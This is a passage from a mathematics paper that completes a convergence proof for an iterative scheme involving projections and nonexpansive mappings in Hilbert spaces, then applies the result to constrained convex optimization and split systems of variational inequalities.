{}+(1-\\alpha _{n}) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\alpha _{n}(1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\alpha _{n}\\zeta (1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I-\\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert . \\end{aligned}\n(23)\n\nFrom (20) and (23), we get\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert &=0. \\end{aligned}\n(24)\n\nLet $$G_{n}=aW_{n}+(1-a)P_{C}(I-\\lambda _{3}D_{3})W_{n}$$. From the property of $$P_{C}$$, we have\n\n\\begin{aligned} & \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-P_{C}(I- \\zeta D_{2})x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\Vert (I-\\zeta D_{2})G_{n}-(I-\\zeta D_{2})x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert \\bigl(G_{n}-x^{*} \\bigr)-\\zeta \\bigl(D_{2}G_{n}-D_{2}x^{*} \\bigr) \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}-2 \\zeta \\bigl\\langle G_{n}-x^{*}, D_{2}G_{n}-D_{2}x^{*} \\bigr\\rangle \\\\ &\\qquad{} +\\zeta ^{2} \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-2\\zeta d_{2} \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2} \\\\ & \\qquad{}+\\zeta ^{2} \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\zeta (2d_{2}-\\zeta ) \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2}. \\end{aligned}\n(25)\n\nBy the definition of $$T_{n}$$ and (25), we have\n\n\\begin{aligned} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}\\leq {}&a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a) \\bigl\\Vert P_{C}(I- \\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& a \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a) \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &{} -\\zeta (2d_{2}-\\zeta ) \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2} \\bigr] \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\zeta (1-a) (2d_{2}-\\zeta ) \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2}. \\end{aligned}\n(26)\n\nIn addition, by the definition of $$x_{n+1}$$ and (26), we have\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}\\leq{}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\zeta (1-a) (2d_{2}-\\zeta ) \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2} \\bigr] \\\\ & {}+(1-\\alpha _{n}) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\zeta \\alpha _{n}(1-\\alpha _{n}) (2d_{2}-\\zeta ) \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2}, \\end{aligned}\n\nso\n\n\\begin{aligned} \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2}&\\leq \\frac{ \\Vert x_{n}-x^{*} \\Vert ^{2}- \\Vert x_{n+1}-x^{*} \\Vert ^{2}}{\\zeta \\alpha _{n}(1-\\alpha _{n})(2d_{2}-\\zeta )}. \\end{aligned}\n\nIt implies that\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert =0. \\end{aligned}\n(27)\n\nFrom the property of $$P_{C}$$, we have\n\n\\begin{aligned} & \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\langle (I-\\zeta D_{2})G_{n}-(I-\\zeta D_{2})x^{*}, P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\rangle \\\\ &\\quad=\\frac{1}{2} \\bigl[ \\bigl\\Vert (I-\\zeta D_{2})G_{n}-(I- \\zeta D_{2})x^{*} \\bigr\\Vert ^{2} + \\bigl\\Vert P_{C}(I- \\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ & \\qquad{}- \\bigl\\Vert (I-\\zeta D_{2})G_{n}-(I-\\zeta D_{2})x^{*}- \\bigl((I-\\zeta D_{2})G_{n}-x^{*} \\bigr) \\bigr\\Vert ^{2} \\bigr] \\\\ &\\quad\\leq \\frac{1}{2} \\bigl[ \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}+ \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} - \\bigl\\Vert (I-\\zeta D_{2})G_{n}-(I-\\zeta D_{2})x^{*}- \\bigl((I-\\zeta D_{2})G_{n}-x^{*} \\bigr) \\bigr\\Vert ^{2} \\bigr] \\\\ &\\quad=\\frac{1}{2} \\bigl[ \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}+ \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} - \\bigl\\Vert \\bigl(G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr)-\\zeta \\bigl(D_{2}G_{n}-D_{2}x^{*} \\bigr) \\bigr\\Vert ^{2} \\bigr] \\\\ &\\quad=\\frac{1}{2} \\bigl[ \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}+ \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} - \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ & \\qquad{}+2\\zeta \\bigl\\langle G_{n}-P_{C}(I-\\zeta D_{2})G_{n}, D_{2}G_{n}-D_{2}x^{*} \\bigr\\rangle \\\\ & \\qquad{}-\\zeta ^{2} \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ^{2} \\bigr]. \\end{aligned}\n\nIt implies that\n\n\\begin{aligned} & \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}- \\bigl\\Vert G_{n}-P_{C}(I- \\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ &\\qquad{} +2\\zeta \\bigl\\langle G_{n}-P_{C}(I-\\zeta D_{2})G_{n}, D_{2}G_{n}-D_{2}x^{*} \\bigr\\rangle \\\\ &\\quad\\leq \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}- \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ &\\qquad{} +2\\zeta \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert . \\end{aligned}\n(28)\n\nBy the definition of $$T_{n}$$ and (28), we have\n\n\\begin{aligned} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}\\leq {}&a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a) \\bigl\\Vert P_{C}(I- \\zeta D_{2})G_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& a \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a) \\bigl[ \\bigl\\Vert G_{n}-x^{*} \\bigr\\Vert ^{2}- \\bigl\\Vert G_{n}-P_{C} \\\\ &{}\\times (I- \\zeta D_{2})G_{n} \\bigr\\Vert ^{2} +2 \\zeta \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert \\bigr] \\\\ \\leq {}&a \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &{} -(1-a) \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ & {}+2\\zeta \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ] \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-(1-a) \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\zeta \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert ]. \\end{aligned}\n(29)\n\nIn addition, by the definition of $$x_{n+1}$$ and (29), we have\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}\\leq {}&\\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-(1-a) \\bigl\\Vert G_{n}-P_{C}(I- \\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\zeta \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert \\bigr] \\\\ &{} +(1-\\alpha _{n}) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\alpha _{n}(1-a) \\bigl\\Vert G_{n}-P_{C}(I-\\zeta D_{2})G_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\zeta \\alpha _{n}(1-a) \\bigl\\Vert G_{n}-P_{C}(I- \\zeta D_{2})G_{n} \\bigr\\Vert \\bigl\\Vert D_{2}G_{n}-D_{2}x^{*} \\bigr\\Vert , \\end{aligned}\n(30)\n\nby (30) and (27), we get\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\bigl\\Vert G_{n}-P_{C}(I- \\zeta D_{2})G_{n} \\bigr\\Vert &=0. \\end{aligned}\n(31)\n\nSince\n\n\\begin{aligned} T_{n}-W_{n}=(1-a) \\bigl(P_{C}(I-\\zeta D_{2}) \\bigl(aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n} \\bigr)-W_{n} \\bigr). \\end{aligned}\n\nFrom the property of norm, we have\n\n\\begin{aligned} & \\bigl\\Vert P_{C}(I-\\zeta D_{2}) \\bigl(aW_{n}+(1-a)P_{C}(I- \\zeta D_{3})W_{n} \\bigr)-W_{n} \\bigr\\Vert \\\\ &\\quad\\leq \\bigl\\Vert P_{C}(I-\\zeta D_{2}) \\bigl(aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n} \\bigr) \\\\ &\\qquad{} - \\bigl(aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n} \\bigr) \\bigr\\Vert \\\\ &\\qquad{} +\\bigr\\| (aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n}-W_{n} \\bigr\\| \\\\ &\\quad= \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-G_{n} \\bigr\\Vert +(1-a) \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-W_{n} \\bigr\\Vert . \\end{aligned}\n(32)\n\nThen we have\n\n\\begin{aligned} \\Vert T_{n}-W_{n} \\Vert \\leq {}&(1-a) \\bigl[ \\bigl\\Vert P_{C}(I-\\zeta D_{2})G_{n}-G_{n} \\bigr\\Vert \\\\ &{} +(1-a) \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-W_{n} \\bigr\\Vert \\bigr]. \\end{aligned}\n\nFrom (24) and (31), it implies that\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert T_{n}-W_{n} \\Vert &=0. \\end{aligned}\n(33)\n\nFrom (15), (17), (33), and\n\n\\begin{aligned} \\Vert y_{n}-x_{n} \\Vert &\\leq \\Vert y_{n}-T_{n} \\Vert + \\Vert T_{n}-W_{n} \\Vert + \\Vert W_{n}-x_{n} \\Vert , \\end{aligned}\n\nwe have\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert y_{n}-x_{n} \\Vert =0. \\end{aligned}\n(34)\n\nMoreover, from (16), (15), (34), and\n\n\\begin{aligned} \\Vert x_{n}-Sk_{n} \\Vert &\\leq \\Vert x_{n}-y_{n} \\Vert + \\Vert y_{n}-T_{n} \\Vert + \\Vert T_{n}-Sk_{n} \\Vert , \\end{aligned}\n\nwe have\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert x_{n}-Sk_{n} \\Vert &=0. \\end{aligned}\n(35)\n\nSince $$\\{x_{n}\\}^{\\infty }_{n=0}$$ is bounded, it has a subsequence $$\\{x_{n_{k}}\\}^{\\infty }_{k=0}$$ which weakly converges to some $$\\bar{x}\\in C$$.\n\nAssume $$\\bar{x} \\notin F(S)$$. By the nonexpansiveness of S and Opial’s property and (35), we have\n\n\\begin{aligned} \\lim_{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\bar{x} \\Vert &< \\lim _{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-S\\bar{x} \\Vert \\\\ &\\leq \\lim_{k \\rightarrow \\infty }\\inf \\bigl[ \\Vert x_{n_{k}}-Sk_{n_{k}} \\Vert + \\Vert Sk_{n_{k}}-S\\bar{x} \\Vert \\bigr] \\\\ &\\leq \\lim_{k \\rightarrow \\infty }\\inf \\bigl[ \\Vert x_{n_{k}}-Sk_{n_{k}} \\Vert + \\Vert k_{n_{k}}-\\bar{x} \\Vert \\bigr] \\\\ &=\\lim_{k \\rightarrow \\infty }\\inf \\Vert k_{n_{k}}-\\bar{x} \\Vert \\\\ &\\leq \\lim_{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\bar{x} \\Vert . \\end{aligned}\n\nThis is a contradiction, then we have\n\n\\begin{aligned} \\bar{x}\\in F(S). \\end{aligned}\n\nAssume $$\\bar{x}\\notin \\bigcap_{i=1}^{3}\\Phi _{i}$$. From Lemma 2.6, we have $$\\bar{x}\\notin F(M_{C}(I-\\eta A^{*}(I-M_{Q})A))$$. By Opial’s condition, (34), and Remark 1, we have\n\n\\begin{aligned} \\lim_{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\bar{x} \\Vert < {}& \\lim_{k \\rightarrow \\infty }\\inf \\bigl\\Vert x_{n_{k}}-M_{C} \\bigl(I-\\eta A^{*}(I-M_{Q})A \\bigr) \\bar{x} \\bigr\\Vert \\\\ \\leq{}& \\lim_{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-y_{n_{k}} \\Vert +\\lim_{k \\rightarrow \\infty }\\inf \\bigl\\Vert M_{C} \\bigl(x_{n_{k}}-\\eta A^{*} \\\\ &{}\\times (I- M_{Q})Ax_{n_{k}} \\bigr)-M_{C} \\bigl(I-\\eta A^{*}(I-M_{Q})A \\bigr)\\bar{x} \\bigr\\Vert \\\\ \\leq{}& \\lim_{k \\rightarrow \\infty }\\inf \\bigl( \\Vert x_{n_{k}}-y_{n_{k}} \\Vert + \\Vert x_{n_{k}}- \\bar{x} \\Vert \\bigr) \\\\ ={}&\\lim_{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\bar{x} \\Vert . \\end{aligned}\n(36)\n\nThis is a contradiction, then we have\n\n\\begin{aligned} \\bar{x}\\in F \\bigl(M_{C} \\bigl(I-\\eta A^{*}(I-M_{Q})A \\bigr) \\bigr). \\end{aligned}\n\nIt implies that\n\n\\begin{aligned} \\bar{x}\\in \\bigcap_{i=1}^{3}\\Phi _{i}. \\end{aligned}\n\nHence\n\n\\begin{aligned} \\bar{x}\\in \\Im. \\end{aligned}\n\nIn order to show that the entire sequence $$\\{x_{n}\\}$$ weakly converges to , assume $$\\{x\\}_{n_{k}}\\rightharpoonup \\hat{x}$$ as $$k \\rightarrow \\infty$$, with $$\\bar{x}\\neq \\hat{x}$$ and $$\\hat{x}\\in \\Im$$. By Opial’s condition, we have\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert x_{n}-\\bar{x} \\Vert &=\\lim _{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\bar{x} \\Vert \\\\ &< \\lim_{k \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\hat{x} \\Vert \\\\ &=\\lim_{n \\rightarrow \\infty } \\Vert x_{n}-\\hat{x} \\Vert \\\\ &=\\lim_{n \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\hat{x} \\Vert \\\\ &< \\lim_{n \\rightarrow \\infty }\\inf \\Vert x_{n_{k}}-\\bar{x} \\Vert \\\\ &=\\lim_{n \\rightarrow \\infty } \\Vert x_{n}-\\bar{x} \\Vert . \\end{aligned}\n\n\\begin{aligned} \\bar{x}\\doteq \\hat{x}. \\end{aligned}\n\nIt implies that the sequence $$\\{x_{n}\\}^{\\infty }_{n=0}$$ weakly converges to $$\\bar{x}\\in \\Im$$.\n\nFrom (34), we have $$\\{y_{n}\\}^{\\infty }_{n=0}$$ weakly converges to $$\\bar{x}\\in \\Im$$.\n\nFinally, if we take\n\n\\begin{aligned} U_{n}&=P_{\\Im }x_{n}, \\end{aligned}\n(37)\n\nby Lemma 2.2, we see that $$\\{P_{\\Im }x_{n}\\}^{\\infty }_{n=0}$$ converges strongly to some $$z\\in \\Im$$. From (37), we get\n\n\\begin{aligned} \\langle \\bar{x}-U_{n},U_{n}-x_{n}\\rangle \\geq 0, \\quad\\forall \\bar{x} \\in \\Im. \\end{aligned}\n\nTake $$n\\rightarrow \\infty$$, we also have\n\n\\begin{aligned} \\langle \\bar{x}-z,z-\\bar{x}\\rangle \\geq 0, \\end{aligned}\n\nand hence $$\\bar{x}=z$$. Therefore $$U_{n}$$ converges strongly to $$\\bar{x}\\in \\Im$$, this completes the proof. □\n\n## 4 Application\n\nLet C be a closed convex subset of H. The standard constrained convex optimization problem is to find $$x^{*}\\in C$$ such that\n\n\\begin{aligned} \\Im \\bigl(x^{*} \\bigr)=\\mathop{\\min } _{x\\in C} \\Im (x), \\end{aligned}\n(38)\n\nwhere $$\\Im:C\\rightarrow \\mathbb{R}$$ is a convex, Frechet differentiable function. The set of all solution of (38) is denoted by $$\\Phi _{\\Im }$$.\n\n### Lemma 4.1\n\n( Optimality condition)\n\nA necessary condition of optimality for a point $${x^{*}} \\in C$$ to be a solution of the minimization problem (38) is that $${x^{*}}$$ solves the variational inequality\n\n\\begin{aligned} \\bigl\\langle {\\nabla \\Im \\bigl({x^{*}} \\bigr),x - {x^{*}}} \\bigr\\rangle \\ge 0 \\end{aligned}\n(39)\n\nfor all $$x \\in C$$. Equivalently, $${x^{*}} \\in C$$ solves the fixed point equation\n\n\\begin{aligned} {x^{*}} = {P_{C}}(I - \\zeta \\nabla \\Im ){x^{*}} \\end{aligned}\n\nfor every $$\\zeta > 0$$. If, in addition, is convex, then the optimality condition (39) is also sufficient.\n\nBy using the concept of the split modified system of variational inequalities problem (SMSVIP), we consider the problem for finding $$(x^{*},y^{*},z^{*})\\in C\\times C\\times C$$ such that\n\n\\begin{aligned} \\textstyle\\begin{cases} \\langle x^{*}-(I-\\zeta \\nabla \\Im _{1})(ax^{*}+(1-a)y^{*}),x-x^{*} \\rangle \\geq 0,\\quad \\forall x\\in C, \\\\ \\langle y^{*}-(I-\\zeta \\nabla \\Im _{2})(ax^{*}+(1-a)z^{*}),x-y^{*} \\rangle \\geq 0,\\quad \\forall x\\in C, \\\\ \\langle z^{*}-(I-\\zeta \\nabla \\Im _{3})x^{*},x-z^{*}\\rangle \\geq 0,\\quad \\forall x\\in C, \\end{cases}\\displaystyle \\end{aligned}\n(40)\n\nand finding $$(\\bar{x^{*}}=Ax^{*}, \\bar{y^{*}}=Ay^{*}, \\bar{z^{*}}=Az^{*})\\in Q\\times Q\\times Q$$ such that\n\n\\begin{aligned} \\textstyle\\begin{cases} \\langle \\bar{x^{*}}-(I-\\bar{\\zeta }\\nabla \\bar{\\Im _{1}})(a\\bar{x^{*}}+(1-a) \\bar{y^{*}}),\\bar{x}-\\bar{x^{*}}\\rangle \\geq 0, \\quad\\forall \\bar{x}\\in Q, \\\\ \\langle \\bar{y^{*}}-(I-\\bar{\\zeta }\\nabla \\bar{\\Im _{2}})(a\\bar{x^{*}}+(1-a) \\bar{z^{*}}),\\bar{x}-\\bar{y^{*}}\\rangle \\geq 0, \\quad\\forall \\bar{x}\\in Q, \\\\ \\langle \\bar{z^{*}}-(I-\\bar{\\zeta }\\nabla \\bar{\\Im _{3}})\\bar{x^{*}}, \\bar{x}-\\bar{z^{*}}\\rangle \\geq 0,\\quad \\forall \\bar{x}\\in Q, \\end{cases}\\displaystyle \\end{aligned}\n(41)\n\nwhere $$\\Im _{1},\\Im _{2},\\Im _{3}: C\\rightarrow \\mathbb{R}$$ with $$\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}$$ are the gradients of $$\\Im _{1},\\Im _{2},\\Im _{3}$$, respectively, and $$\\bar{\\Im }_{1},\\bar{\\Im }_{2},\\bar{\\Im }_{3}:Q\\rightarrow \\mathbb{R}$$ with $$\\nabla \\bar{\\Im }_{1},\\nabla \\bar{\\Im }_{2},\\nabla \\bar{\\Im }_{3}$$ are the gradients of $$\\bar{\\Im }_{1},\\bar{\\Im }_{2},\\bar{\\Im }_{3}$$, respectively, $${\\zeta,\\bar{\\zeta } >0}$$ and $$a\\in [0,1]$$. The sets of all solution of (40) and (41) are denoted by $$\\Psi _{\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}}$$ and $$\\Psi _{\\nabla \\bar{\\Im _{1}},\\nabla \\bar{\\Im _{2}},\\nabla \\bar{\\Im _{3}}}$$, respectively. The set of all solutions of the split modified system of variational inequalities (SMSVIP) is denoted by $$\\Psi ^{\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}}_{\\nabla \\bar{\\Im _{1}},\\nabla \\bar{\\Im _{2}},\\nabla \\bar{\\Im _{3}}}$$, that is,\n\n\\begin{aligned} \\Psi ^{\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}}_{\\nabla \\bar{\\Im _{1}},\\nabla \\bar{\\Im _{2}},\\nabla \\bar{\\Im _{3}}}= \\bigl\\{ \\bigl(x^{*},y^{*},z^{*} \\bigr) \\in \\Psi _{\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}}: \\bigl( \\bar{x^{*}}, \\bar{y^{*}}, \\bar{z^{*}} \\bigr)\\in \\Psi _{\\nabla \\bar{\\Im _{1}}, \\nabla \\bar{\\Im _{2}},\\nabla \\bar{\\Im _{3}}} \\bigr\\} . \\end{aligned}\n\n### Lemma 4.2\n\n()\n\nLet C and Q be nonempty closed convex subsets of real Hilbert spaces $$H_{1}$$ and $$H_{2}$$, respectively. Let $$\\Im _{1},\\Im _{2},\\Im _{3}:C \\to \\mathbb{R}$$ be real-valued convex functions with the gradients $$\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}$$ being $$\\frac{1}{{{L_{\\Im _{1}}}}},\\frac{1}{{{L_{\\Im _{2}}}}}, \\frac{1}{{{L_{\\Im _{3}}}}}$$-inverse strongly monotone and continuous, respectively, where $$\\zeta \\in (0,\\frac{2}{L_{\\Im }})$$ with $$\\frac{1}{L_{\\Im }} = \\operatorname{min} \\{\\frac{1}{L_{\\Im _{1}}}, \\frac{1}{L_{\\Im _{2}}},\\frac{1}{L_{\\Im _{3}}}\\}$$. Let $$\\bar{\\Im }_{1},\\bar{\\Im }_{2},\\bar{\\Im }_{3}:Q \\to \\mathbb{R}$$ be real-valued convex functions with the gradients $$\\nabla \\bar{\\Im _{1}}$$, $$\\nabla \\bar{\\Im _{2}}$$, $$\\nabla \\bar{\\Im _{3}}$$ being $$\\frac{1}{{{L_{\\bar{\\Im _{1}}}}}}, \\frac{1}{{{L_{\\bar{\\Im _{2}}}}}}, \\frac{1}{{{L_{\\bar{\\Im _{3}}}}}}$$-inverse strongly monotone and continuous, respectively, where $$\\bar{\\zeta }\\in (0,\\frac{2}{L_{\\bar{\\Im }}})$$ with $$\\frac{1}{L_{\\bar{\\Im }}} = \\operatorname{min} \\{\\frac{1}{L_{\\bar{\\Im }_{1}}}, \\frac{1}{L_{\\bar{\\Im }_{2}}},\\frac{1}{L_{\\bar{\\Im }_{3}}}\\}$$. Let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$. Define $$M_{C}:H_{1}\\rightarrow C$$ by $$M_{C}(x)=P_{C}(I-\\zeta \\nabla \\Im _{1})(ax+(1-a)P_{C}(I-\\zeta \\nabla \\Im _{2})(ax+(1-a)P_{C}(I-\\zeta \\nabla \\Im _{3})x))$$, $$\\forall x\\in H_{1}$$, and define $$M_{Q}:H_{2}\\rightarrow Q$$ by $$M_{Q}(\\hat{x})=P_{Q}(I-\\bar{\\zeta }\\nabla \\bar{\\Im _{1}})(a\\hat{x}+(1-a)P_{Q}(I- \\bar{\\zeta }\\nabla \\bar{\\Im _{2}})(a\\hat{x}+(1-a)P_{Q}(I-\\bar{\\zeta } \\nabla \\bar{\\Im _{3}})\\hat{x}))$$, $$\\forall \\hat{x}\\in H_{2}$$. Let $$\\bigcap_{i=1}^{3}\\Phi _{\\Im _{i}}\\neq \\emptyset$$ and $$\\Phi _{\\Im _{i}}=\\{ \\Im _{i}(x)= \\min_{x^{*}\\in C}\\Im _{i}(x^{*}) : \\bar{\\Im _{i}}(Ax)= \\min_{Ax^{*}\\in Q}\\bar{\\Im _{i}}(Ax^{*}) \\}$$ for all $$i=1,2,3$$. Then\n\n$$\\bigcap_{i=1}^{3}\\Phi _{\\Im _{i}}=F \\bigl(M_{C} \\bigl(I-\\eta A^{*}(I-M_{Q})A \\bigr) \\bigr).$$\n\n### Theorem 4.3\n\nLet C and Q be nonempty closed convex subsets of real Hilbert spaces $$H_{1}$$ and $$H_{2}$$, respectively, and let $$S:C\\rightarrow C$$ be a nonexpansive mapping. Let $$\\Im _{1},\\Im _{2},\\Im _{3}:C \\to \\mathbb{R}$$ be real-valued convex functions with the gradients $$\\nabla \\Im _{1},\\nabla \\Im _{2},\\nabla \\Im _{3}$$ being $$\\frac{1}{{{L_{\\Im _{1}}}}},\\frac{1}{{{L_{\\Im _{2}}}}}, \\frac{1}{{{L_{\\Im _{3}}}}}$$-inverse strongly monotone and continuous, respectively, where $$\\zeta \\in (0,\\frac{2}{L_{\\Im }})$$ with $$\\frac{1}{L_{\\Im }}= \\operatorname{min} \\{\\frac{1}{L_{\\Im _{1}}},\\frac{1}{L_{\\Im _{2}}}, \\frac{1}{L_{\\Im _{3}}}\\}$$. Let $$\\bar{\\Im }_{1},\\bar{\\Im }_{2},\\bar{\\Im }_{3}:Q \\to \\mathbb{R}$$ be real-valued convex functions with the gradients $$\\nabla \\bar{\\Im _{1}},\\nabla \\bar{\\Im _{2}},\\nabla \\bar{\\Im _{3}}$$ being $$\\frac{1}{{{L_{\\bar{\\Im _{1}}}}}}, \\frac{1}{{{L_{\\bar{\\Im _{2}}}}}}, \\frac{1}{{{L_{\\bar{\\Im _{3}}}}}}$$-inverse strongly monotone and continuous, respectively, where $$\\bar{\\zeta }\\in (0,\\frac{2}{L_{\\bar{\\Im }}})$$ with $$\\frac{1}{L_{\\bar{\\Im }}}= \\operatorname{min} 